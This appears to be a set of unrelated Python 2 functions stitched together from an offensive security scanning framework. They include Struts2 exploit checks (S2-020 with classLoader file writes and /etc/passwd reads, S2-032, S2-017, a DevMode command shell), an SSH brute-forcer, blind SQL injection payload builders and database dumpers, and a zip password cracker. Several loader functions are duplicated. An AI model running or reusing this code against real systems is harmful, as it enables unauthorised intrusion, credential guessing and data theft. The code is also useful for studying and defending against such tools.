def poc(target): res = verity(target) if res: logger.success("%s is vulnerable S2-DevMode." % target) else: logger.warning("%s is not vulnerable S2-DevMode." % target) return res
def get_payload(self, table_name, col_name, i="0", index="1", value=""): # (index,vaule) is used blind cols = [] token = "" for col in col_name: cols.append(col) token = random_str() hex_str = format_hex(token) cat_fun = "concat(%s)" # cat_str = cat_fun.replace('%s', "{pre},user(),{suf}".format(pre = hex_str,suf = hex_str)) # conlumns strings cols.insert(0, '1') cols.append('1') link_char = "," + hex_str + "," cat_str = cat_fun.replace('%s', "{conulmns}".format( conulmns=(link_char).join(cols))) # conlumns strings boundary = SEP_CHAR + self.boundary.replace('%value', value).replace( '%index', index) query = self.query.replace('t_n', table_name).replace('%s', cat_str).replace( '%d', i) boundary, query = tamper(boundary, query) payload = boundary payload = payload.replace('%query', query) payload = format_data(payload) if conf.debug: logger.success(payload) return payload, token
def scan(target): poc = '?redirect:https://www.baidu.com/' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } try: audit_request = requests.get(target + poc, headers=headers) audit_request.close() if audit_request.status_code == 200: if audit_request.url == u'https://www.baidu.com/': logger.success("Success! %s is vulnerable S2-017." % target) return True else: logger.warning("%s is not vulnerable S2-017." % target) return False else: logger.warning("%s is not vulnerable S2-017." % target) except Exception, e: logger.warning("Failed to connection target, %s" % e) return False
def run(arg): """Run the main function""" hostname = arg["target"] port = arg["port"] passlist = arg["pass"] userlist = arg["user"] usernamelist = makeList(userlist) passwordlist = makeList(passlist) logger.info("SSH Brute Force Praparing.") logger.info("%s user(s) loaded." % str(len(usernamelist))) logger.info("%s password(s) loaded." % str(len(passwordlist))) logger.info("Brute Force Is Starting.......") try: for username in usernamelist: for password in passwordlist: logger.info("Attempt uaername:%s , password:%s" % (username, password)) current = BruteForce(hostname, port, username, password) if current == 'ok': logger.success("Success!") logger.success("user = %s , pass = %s " % (username, password)) return logger.warning('Done, not find!') except: logger.warning("Error! %s" % e)
def get_current_user(self): fun = inspect.stack()[0][3] user = self.do(fun) info = "CurrentUser is:" + user logger.success(info) put_file_contents(DUMP_FILE, info) return
def print_dic(data): if 'url' in data.keys() and data['url'] != None and data['url'] != '': message = data['url'] else: address = data['target_host'] + ":" + str(data['target_port']) if data['target_port'] != 0 else data['target_host'] message = address if len(data['res']) == 0: msg = '[{0}] [{1}]'.format(data['module_name'], message) if data['flag'] == 1: logger.success(msg) elif data['flag'] == -1: logger.error(msg) else: logger.warning(msg) for res in data['res']: info = res['info'] if 'info' in res.keys() else "" key = res['key'] if 'key' in res.keys() else "" msg = '[{0}] [{1}]: {2} \t[{3}]'.format(data['module_name'], message, info, key) if data['flag'] == 1: logger.success(msg) elif data['flag'] == -1: logger.error(msg) else: logger.warning(msg)
def loadModule(): conf.MODULE_PLUGIN = dict() index = 0 for _name in conf.MODULE_USE: msg = 'Load custom script: %s' % _name logger.success(msg) if conf.batchfuzz: fp, pathname, description = imp.find_module(os.path.splitext(_name)[0], [paths.FUZZ_PATH]) elif conf.cmsfuzz: fp, pathname, description = imp.find_module(os.path.splitext(_name)[0], [paths.USE_CMS_PATH]) else: fp, pathname, description = imp.find_module(os.path.splitext(_name)[0], [paths.SCRIPT_PATH]) try: index = index + 1 module_obj = imp.load_module('_' + str(index), fp, pathname, description) for each in ESSENTIAL_MODULE_METHODS: if not hasattr(module_obj, each): errorMsg = "Can't find essential method:'%s()' in current script,Please modify your script/PoC." sys.exit(logger.error(errorMsg)) conf.MODULE_PLUGIN[_name] = module_obj except ImportError, e: errorMsg = "Your current scipt [%s.py] caused this exception\n%s\n%s" \ % (_name, '[Error Msg]: ' + str(e), 'Maybe you can download this module from pip or easy_install') sys.exit(logger.error(errorMsg))
def get_current_db(self): fun = inspect.stack()[0][3] db = self.do(fun) info = "CurrentDb is:" + db logger.success(info) put_file_contents(DUMP_FILE, info) return
def loadModule(script_name, batch): conf.MODULE_PLUGIN = dict() index = 0 for _name in conf.MODULE_USE: msg = 'Load custom script: %s' % _name logger.success(msg) #获取真实脚本路径 add batch by jiangsir404 # step1. -s参数存在, 首先从当前目录查找,如果不存在则在script目录下查找 # step2. -b参数存在, 首先从当前目录查找,如果不存在则在script目录下查找 if script_name: script_path = os.path.dirname(os.path.abspath(script_name)) if not os.path.exists(script_path + '/' + _name): dirname = os.path.split(script_name) script_path = paths.SCRIPT_PATH + '/' + dirname[0] if batch: script_path = os.getcwd() + '/' + batch if not os.path.exists(script_path): script_path = paths.SCRIPT_PATH + '/' + batch logger.success("Load script path: %s" % script_path) fp, pathname, description = imp.find_module(os.path.splitext(_name)[0], [script_path]) try: index = index + 1 module_obj = imp.load_module('_' + str(index), fp, pathname, description) # ESSENTIAL_MODULE_METHODS值为poc for each in ESSENTIAL_MODULE_METHODS: if not hasattr(module_obj, each): errorMsg = "Can't find essential method:'%s()' in current script,Please modify your script/PoC." sys.exit(logger.error(errorMsg)) conf.MODULE_PLUGIN[_name] = module_obj except ImportError, e: errorMsg = "Your current scipt [%s.py] caused this exception\n%s\n%s" \ % (_name, '[Error Msg]: ' + str(e), 'Maybe you can download this module from pip or easy_install') sys.exit(logger.error(errorMsg))
def run(arg): url = arg["url"] if verity(url): logger.success("%s is vulnerable S2-DevMode." % url) logger.info("The next to enter cmdExp, 'q' will quit") cmdTool(url) else: logger.warning("%s is not vulnerable S2-DevMode." % url)
def update_program(): success = False if not os.path.exists(os.path.join(paths.ROOT_PATH, ".git")): msg = "Have not a git repository. Please checkout the 'tentacle' repository " msg += "from GitHub (e.g. 'git clone --depth 1 %s tentacle')" % GIT_REPOSITORY logger.error(msg) else: msg = "Updating tentacle to the latest version from the gitHub repository." logger.sysinfo(msg) msg = "Tentacle will try to update itself using 'git' command." logger.sysinfo(msg) msg = "Update in progress..." logger.sysinfo(msg) try: process = subprocess.Popen( "git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.ROOT_PATH ) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/ poll_process(process, True) stdout, stderr = process.communicate() success = not process.returncode except (IOError, OSError) as ex: success = False stderr = get_safe_ex_string(ex) if success: logger.success("The latest revision '%s'" % (get_revision_number())) else: if isinstance(stderr, str): if "Not a git repository" in stderr: msg = "Not a valid git repository. Please checkout the 'orleven/tentacle' repository " msg += "from GitHub (e.g. 'git clone --depth 1 %s tentacle')" % GIT_REPOSITORY logger.error(msg) else: logger.error("Update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) else: logger.error("Update could not be completed. ") if not success: if sys.platform == 'win32': msg = "for Windows platform it's recommended " msg += "to use a GitHub for Windows client for updating " msg += "purposes (http://windows.github.com/) or just " msg += "download the latest snapshot from " msg += GIT_REPOSITORY else: msg = "For Linux platform it's required " msg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" logger.sysinfo(msg)
def get_value_by_blind(self, table_name, col_name, in_limit='0'): len = self.get_length(table_name, col_name, in_limit) text = "" for i in range(1, len + 1): value = self.double_search(table_name, col_name, in_limit, str(i), left_number=0, right_number=136) text = text + chr(value) logger.success(text) return text
def get_tables(self): fun = inspect.stack()[0][3] dbs = conf.dbs tables = [] for db in dbs: tables = self.do(fun, db) logger.success(db) out = PrettyTable() out.add_column("TABLES:", tables) logger.info(out) put_file_contents(DUMP_FILE, "db:{0}".format(db)) put_file_contents(DUMP_FILE, str(out)) return
def initEngine(): th.thread_mode = True if conf.ENGINE is ENGINE_MODE_STATUS.THREAD else False th.f_flag = conf.FILE_OUTPUT th.s_flag = conf.SCREEN_OUTPUT th.output = conf.OUTPUT_FILE_PATH th.thread_count = th.threads_num = th.THREADS_NUM th.single_mode = conf.SINGLE_MODE th.scan_count = th.found_count = 0 th.console_width = getTerminalSize()[0] - 2 th.is_continue = True th.found_single = False th.start_time = time.time() setThreadLock() msg = 'Set the number of concurrent: %d' % th.threads_num logger.success(msg)
def get_payload(self,table_name,col_name,i="1",index="1",value=""): # (index,vaule) is used blind cols = [] token = ":--:" for col in col_name: cols.append(col) cat_str = cols[0] boundary =SEP_CHAR + self.boundary.replace('%value',value).replace('%index',index) query = self.query.replace('t_n',table_name).replace('%s', cat_str).replace('%d', i) boundary,query = tamper(boundary,query) payload = boundary payload = payload.replace('%query',query) payload = format_data(payload) if conf.debug: logger.success(payload) return payload,token
def loadModule(): _name = conf.MODULE_NAME msg = 'Load custom script: %s' % _name logger.success(msg) fp, pathname, description = imp.find_module( os.path.splitext(_name)[0], [paths.SCRIPT_PATH]) try: th.module_obj = imp.load_module("_", fp, pathname, description) for each in ESSENTIAL_MODULE_METHODS: if not hasattr(th.module_obj, each): errorMsg = "Can't find essential method:'%s()' in current script,Please modify your script/PoC." sys.exit(logger.error(errorMsg)) except ImportError, e: errorMsg = "Your current scipt [%s.py] caused this exception\n%s\n%s" \ % (_name, '[Error Msg]: ' + str(e), 'Maybe you can download this module from pip or easy_install') sys.exit(logger.error(errorMsg))
def resultHandler(status, payload): truemsg = "The target '{}' is vulnerable".format(payload) falsemsg = "The target '{}' is NOT vulnerable".format(payload) if not status or status is POC_RESULT_STATUS.FAIL: targetlist.append([payload, status]) logger.error(falsemsg) return elif status is POC_RESULT_STATUS.RETRAY: changeScanCount(-1) th.queue.put(payload) return elif status is True or status is POC_RESULT_STATUS.SUCCESS: targetlist.append([payload, status]) logger.success(truemsg) changeFoundCount(1) else: pass
def loadPayloads(): infoMsg = 'Initialize targets...' logger.success(infoMsg) th.queue = Queue.Queue() if conf.TARGET_MODE is TARGET_MODE_STATUS.RANGE: int_mode() elif conf.TARGET_MODE is TARGET_MODE_STATUS.FILE: file_mode() elif conf.TARGET_MODE is TARGET_MODE_STATUS.IPMASK: net_mode() elif conf.TARGET_MODE is TARGET_MODE_STATUS.SINGLE: single_target_mode() elif conf.TARGET_MODE is TARGET_MODE_STATUS.API: api_mode() else: raise ToolkitValueException('conf.TARGET_MODE value ERROR.') logger.success('Total: %s' % str(th.queue.qsize()))
def extractFile(zFile, password, zname): """check this pass""" try: zFile.extractall(pwd=password) logger.success('Found password %s' % password) exploitsPath = os.path.join(paths.OUTPUT_PATH, 'exploits') if not os.path.isdir(exploitsPath): try: os.makedirs(exploitsPath) logger.info("Using '%s' as the exploits output directory" % exploitsPath) except Exception, e: logger.warning("Create exploits output directory '%s' failed! %s" % (exploitsPath, e)) #Create a directory by current time today = time.strftime("%Y-%m-%d") todayPath = os.path.join(exploitsPath, "%s-%s.txt" % (today, zname)) fh = open(todayPath, 'wb+') fh.write(password) fh.close() sys.exit()
def VerityS2032(url, S2032POC): try: k = (len(url) + 10) / 2 + 10 poc_count = 1 logger.info("You have %s POCS" % str(len(S2032POC))) for poc in S2032POC: targetURL = url + poc logger.info('trying poc %d' % poc_count) req = requests.get(targetURL, headers=headers, timeout=timeout) resulttext = req.text.encode("utf-8").strip().strip('\x00') if hashKey in resulttext: msg = "Successful!\n %s is vulnerable [S2-032(CVE-2016-3081)]" % url logger.success(msg) return True else: poc_count = poc_count + 1 pass logger.warning("%s is not vulnerable S2-032" % url) return False except Exception, e: logger.warning("something error!!") return False
def verity(self): # print self.banner logger.info("Struts_S2-020_POC checking %s" % self.url) ORG_URL = self.url urlinfo = urlparse(ORG_URL) tom8_check_url = urlunparse( (urlinfo.scheme, urlinfo.netloc, '/', '', '', '')) tom6x7x_url_two = urlunparse((urlinfo.scheme, urlinfo.netloc, urlinfo.path.split('/')[1], '', '', '')) self.headers = { 'Host': urlinfo.hostname, 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; BOIE9;)', 'Referer': self.url, 'banner': 's2-020 poc from cf_hb.' } poc_tom8 = [] poc_win_tom6x7x = [] poc_linux_tom6x7x = [] # Tomcat 8.x Linux+Windows poc_tom8.append( "?class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" ) poc_tom8.append( "?class.classLoader.resources.context.parent.pipeline.first.prefix=S2020POC" ) poc_tom8.append( "?class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" ) poc_tom8.append( "?class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1" ) poc_tom8.append('?poc=<%out.write("This_Site_Is_Vulnerable_S2020");%>') # Tomcat6.x and Tomcat 7.x - Windows poc_win_tom6x7x.append( "?class.classLoader.resources.dirContext.aliases=/S2020=C://Windows/" ) # Tomcat6.x and Tomcat 7.x - Linux poc_linux_tom6x7x.append( "?class.classLoader.resources.dirContext.aliases=/S2020=/") try: for poc_add in poc_tom8: poc_url = urljoin(ORG_URL, poc_add) resp = req.get(poc_url, headers=self.headers, timeout=3) time.sleep(1) checkurl = urljoin(tom8_check_url, "S2020POC1.jsp") # tomcat写日志难以捉摸,为了避免漏掉,测试5次每次停顿1秒 # check 5 times for i in range(0, 5): resp = req.get(checkurl, headers=self.headers, timeout=3) time.sleep(1) if resp.status_code and "This_Site_Is_Vulnerable_S2020" in resp.content: msg = "Congratulations!!! {url} is vulnerable S2-020.".format( url=self.url) logger.success(msg) return True # Check tomcat6.x and tomcat7.x - Windows for poc_add in poc_win_tom6x7x: poc_url = urljoin(ORG_URL, poc_add) resp = req.get(poc_url, headers=self.headers, timeout=3) time.sleep(1) checkurl = tom6x7x_url_two + "/S2020/explorer.exe" resp = req.head(checkurl, timeout=3) if resp.status_code == 200: size = resp.headers.get('Content-Length') fsize = int(size) / 1024 if fsize > 1: #检测文件大小是否大于1KB msg = "Congratulations!!! {url} is vulnerable S2-020.".format( url=self.url) logger.success(msg) return True # Check tomcat6.x and tomcat7.x - Linux for poc_add in poc_linux_tom6x7x: poc_url = urljoin(ORG_URL, poc_add) resp = req.get(poc_url, headers=self.headers, timeout=3) time.sleep(1) checkurl = tom6x7x_url_two + "/S2020/etc/passwd" resp = req.get(checkurl, headers=self.headers, timeout=3) if resp.status_code and ("/bin/bash" in resp.content or "root:x:0:0:root:/root" in resp.content): self._report(ORG_URL) return True msgError = "sorry!! {url} is no vulnerable.".format(url=self.url) logger.warning(msgError) return False except Exception, e: print "Failed to connection target, try again.." return False